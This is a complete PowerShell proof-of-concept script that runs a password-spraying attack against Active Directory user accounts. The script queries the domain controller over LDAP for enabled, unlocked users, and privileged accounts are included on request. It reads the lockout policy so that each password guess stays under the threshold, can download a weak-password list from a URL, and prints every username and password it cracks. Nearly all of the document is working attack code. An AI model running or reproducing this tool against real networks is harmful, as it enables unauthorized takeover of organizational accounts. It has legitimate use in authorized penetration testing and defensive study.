<# .SYNOPSIS PoC PowerShell script to demo how to perform password spraying attacks against user accounts in Active Directory (AD), aka low and slow online brute force method. Requires access to a Windows host on the internal network, which may perform queries against the Primary Domain Controller (PDC). Does not require admin access, neither in AD or on Windows host. Remote Server Administration Tools (RSAT) are not required. Should NOT be considered OPSEC safe since: - a lot of traffic is generated between the host and the Domain Controller(s). - failed logon events will be massive on Domain Controller(s). - badpwdcount will iterate on user account objects in scope. No accounts should be locked out by this script alone, but there are no guarantees. NB! This script does not take Fine-Grained Password Policies (FGPP) into consideration. .DESCRIPTION Perform password spraying attack against user accounts in Active Directory. .PARAMETER Pass Specify a single or multiple passwords to test for each targeted user account. Eg. -Pass 'Password1,Password2'. Do not use together with File or Url." .PARAMETER File Supply a path to a password input file to test multiple passwords for each targeted user account. Do not use together with Pass or Url. .PARAMETER Url Download file from given URL and use as password input file to test multiple passwords for each targeted user account. Do not use together with File or Pass. .PARAMETER Admins Warning: will also target privileged user accounts (admincount=1.)". Default = $false. .EXAMPLE PS C:\> .\Spray-Passwords.ps1 -Pass 'Summer2016' Test the password 'Summer2016' against all active user accounts, except privileged user accounts (admincount=1). .EXAMPLE PS C:\> .\Spray-Passwords.ps1 -Pass 'Summer2016,Password123' -Admins Test the password 'Summer2016' against all active user accounts, including privileged user accounts (admincount=1). .EXAMPLE PS C:\> .\Spray-Passwords.ps1 -File .\passwords.txt -Verbose 1. Test each password in the file 'passwords.txt' against all active user accounts, except privileged user accounts (admincount=1). 2. Output script progress/status information to console. .EXAMPLE PS C:\> .\Spray-Passwords.ps1 -Url "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/utils/rockme.txt" -Verbose 1. Download the password file with weak passwords. 2. Test each password against all active user accounts, except privileged user accounts (admincount=1). 3. Output script progress/status information to console. .LINK Get latest version here: https://github.com/ZilentJack/Spray-Passwords .NOTES Authored by : Jakob H. Heidelberg / @JakobHeidelberg / www.improsec.com Together with : CyberKeel / www.cyberkeel.com Date created : 09/05-2016 Last modified : 26/06-2016 Version history: - 1.00: Initial public release, 26/06-2016 Tested on: - WS 2016 TP5 - WS 2012 R2 - Windows 10 Known Issues & possible solutions/workarounds: KI-0001: - Solution: - Change Requests for vNext (not prioritized): CR-0001: Support for Fine-Grained Password Policies (FGPP). CR-0002: Find better way of getting Default Domain Password Policy than "NET ACCOUNTS". Get-ADDefaultDomainPasswordPolicy is not en option as it relies on RSAT. CR-0003: Threated approach to test more user/password combinations simultaneously. CR-0004: Exception or include list based on username, group membership, SID's or the like. CR-0005: Exclude user account that executes the script (password probably already known). Verbose output: Use -Verbose to output script progress/status information to console. #> [CmdletBinding(DefaultParameterSetName='ByPass')] Param ( [Parameter(Mandatory = $true, ParameterSetName = 'ByURL',HelpMessage="Download file from given URL and use as password input file to test multiple passwords for each targeted user account.")] [String] $Url = '', [Parameter(Mandatory = $true, ParameterSetName = 'ByFile',HelpMessage="Supply a path to a password input file to test multiple passwords for each targeted user account.")] [String] $File = '', [Parameter(Mandatory = $true, ParameterSetName = 'ByPass',HelpMessage="Specify a single or multiple passwords to test for each targeted user account. Eg. -Pass 'Password1,Password2'")] [AllowEmptyString()] [String] $Pass = '', [Parameter(Mandatory = $false,HelpMessage="Warning: will also target privileged user accounts (admincount=1.)")] [Switch] $Admins = $false ) Write-Host "`n" Write-Host "[START]: Password spraying attack!" -ForegroundColor Green # Method to determine if input is numeric or not Function isNumeric ($x) { $x2 = 0 $isNum = [System.Int32]::TryParse($x, [ref]$x2) Return $isNum } # Method to get the lockout threshold - does not take FGPP into acocunt Function Get-threshold { $data = net accounts $threshold = $data[5].Split(":")[1].Trim() If (isNumeric($threshold) ) { Write-Verbose "threshold is a number: $threshold" $threshold = [Int]$threshold } Else { Write-Verbose "Threshold is probably 'Never', setting max to 1000 .." $threshold = [Int]1000 } Return $threshold } # Method to get the lockout observation window - does not tage FGPP into account Function Get-Duration { $data = net accounts $duration = [Int]$data[7].Split(":")[1].Trim() Write-Verbose "Lockout duration is: $duration attempts." Return $duration } # Method to retrieve the user objects from the PDC Function Get-UserObjects { # Get domain info for current domain Try{ $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() }Catch{ Write-Host "[ERROR]: None domain account(s) found, quitting .." -ForegroundColor Red -BackgroundColor Black Write-Host "";Exit } # Get the DC with the PDC emulator role $PDC = ($domainObj.PdcRoleOwner).Name # Build the search string from which the users should be found $SearchString = "LDAP://" $SearchString += $PDC + "/" $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))" $SearchString += $DistinguishedName # Create a DirectorySearcher to poll the DC $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) $objDomain = New-Object System.DirectoryServices.DirectoryEntry $Searcher.SearchRoot = $objDomain # Select properties to load, to speed things up a bit $Searcher.PropertiesToLoad.Add("samaccountname") > $Null $Searcher.PropertiesToLoad.Add("badpwdcount") > $Null $Searcher.PropertiesToLoad.Add("badpasswordtime") > $Null # Search only for enabled users that are not locked out - avoid admins unless $admins = $true If ($Admins) {$Searcher.filter="(&(samAccountType=805306368)(!(lockoutTime>=1))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"} Else {$Searcher.filter="(&(samAccountType=805306368)(!(admincount=1))(!(lockoutTime>=1))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"} $Searcher.PageSize = 1000 # Find & return targeted user accounts $userObjs = $Searcher.FindAll() Return $userObjs } # Method to perform auth test with specific username and password Function Perform-Authenticate { Param ([String]$username,[String]$password) # Get current domain with ADSI $CurrentDomain = "LDAP://"+([ADSI]"").DistinguishedName # Try to authenticate Write-Verbose "Trying to authenticate as user '$username' with password '$password'" $dom = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain, $username, $password) $res = $dom.Name # Return true/false If ($res -eq $null) {Return $false} Else {Return $true} } # Validate and parse user supplied url to CSV file of passwords Function Parse-Url { Param ([String]$url) # Download password file from URL $data = (New-Object System.Net.WebClient).DownloadString($url) $data = $data.Split([environment]::NewLine) # Parse passwords file and return results If($data -eq $null){Return $null} $passwords = $data.Split(",").Trim() Return $passwords } # Validate and parse user supplied CSV file of passwords Function Parse-File { Param ([String]$file) If (Test-Path $file) { $data = Get-Content $file If ($data -eq $null -or $data -eq "") {Return $null} $passwords = $data.Split(",").Trim() Return $passwords } Else {Return $null} } # Main function to perform the actual brute force attack Function BruteForce { Param ([Int]$duration,[Int]$threshold,[String[]]$passwords) #Setup variables $userObj = Get-UserObjects Write-Verbose "Found $(($userObj).count) active & unlocked users..." If ($passwords.Length -gt $threshold) { $time = ($passwords.Length - $threshold) * $duration Write-Host "Total run time is expected to be around $([Math]::Floor($time / 60)) hours and $([Math]::Floor($time % 60)) minutes." } [Boolean[]]$done = @() [Boolean[]]$usersCracked = @() [Int[]]$numTry = @() $results = @() #Initialize arrays For ($i = 0; $i -lt $userObj.Length; $i += 1) { $done += $false $usersCracked += $false $numTry += 0 } # Main while loop which does the actual brute force. Write-Host "Performing brute force - press [q] to stop the process and print results..." -BackgroundColor Yellow -ForegroundColor Black :Main While ($true) { # Get user accounts $userObj = Get-UserObjects # Iterate over every user in AD For ($i = 0; $i -lt $userObj.Length; $i += 1) { # Allow for manual stop of the while loop, while retaining the gathered results If ($Host.UI.RawUI.KeyAvailable -and ("q" -eq $Host.UI.RawUI.ReadKey("IncludeKeyUp,NoEcho").Character)) { Write-Host "Stopping bruteforce now...." -Background DarkRed Break Main } If ($usersCracked[$i] -eq $false) { If ($done[$i] -eq $false) { # Put object values into variables $samaccountnname = $userObj[$i].Properties.samaccountname $badpwdcount = $userObj[$i].Properties.badpwdcount[0] $badpwdtime = $userObj[$i].Properties.badpasswordtime[0] # Not yet reached lockout tries If ($badpwdcount -lt ($threshold - 1)) { # Try the auth with current password $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]] If ($auth -eq $true) { Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen $results += $samaccountnname $results += $passwords[$numTry[$i]] $usersCracked[$i] = $true $done[$i] = $true } # Auth try did not work, go to next password in list Else { $numTry[$i] += 1 If ($numTry[$i] -eq $passwords.Length) {$done[$i] = $true} } } # One more tries would result in lockout, unless timer has expired, let's see... Else { $now = Get-Date If ($badpwdtime) { $then = [DateTime]::FromFileTime($badpwdtime) $timediff = ($now - $then).TotalMinutes If ($timediff -gt $duration) { # Since observation window time has passed, another auth try may be performed $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]] If ($auth -eq $true) { Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen $results += $samaccountnname $results += $passwords[$numTry[$i]] $usersCracked[$i] = $true $done[$i] = $true } Else { $numTry[$i] += 1 If($numTry[$i] -eq $passwords.Length) {$done[$i] = $true} } } # Time-diff if } Else { # Verbose-log if $badpwdtime in null. Possible "Cannot index into a null array" error. Write-Verbose "- no badpwdtime exception '$samaccountnname':'$badpwdcount':'$badpwdtime'" # Try the auth with current password $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]] If ($auth -eq $true) { Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen $results += $samaccountnname $results += $passwords[$numTry[$i]] $usersCracked[$i] = $true $done[$i] = $true } Else { $numTry[$i] += 1 If($numTry[$i] -eq $passwords.Length) {$done[$i] = $true} } } # Badpwdtime-check if } # Badwpdcount-check if } # Done-check if } # User-cracked if } # User loop # Check if the bruteforce is done so the while loop can be terminated $amount = 0 For ($j = 0; $j -lt $done.Length; $j += 1) { If ($done[$j] -eq $true) {$amount += 1} } If ($amount -eq $done.Length) {Break} # Take a nap for a second Start-Sleep -m 1000 } # Main While loop If ($results.Length -gt 0) { Write-Host "Users guessed are:" For($i = 0; $i -lt $results.Length; $i += 2) {Write-Host " '$($results[$i])' with password: '$($results[$i + 1])'"} } Else {Write-Host "No passwords were guessed."} } $passwords = $null If ($Url -ne '') { $passwords = Parse-Url $Url } ElseIf($File -ne '') { $passwords = Parse-File $File } Else { $passwords = $Pass.Split(",").Trim() } If($passwords -eq $null) { Write-Host "Error in password input, please try again." Exit } # Get password policy info $duration = Get-Duration $threshold = Get-threshold If ($Admins) {Write-Host "WARNING: also targeting admin accounts." -BackgroundColor DarkRed} # Call the main function and start the brute force BruteForce $duration $threshold $passwords Write-Host ""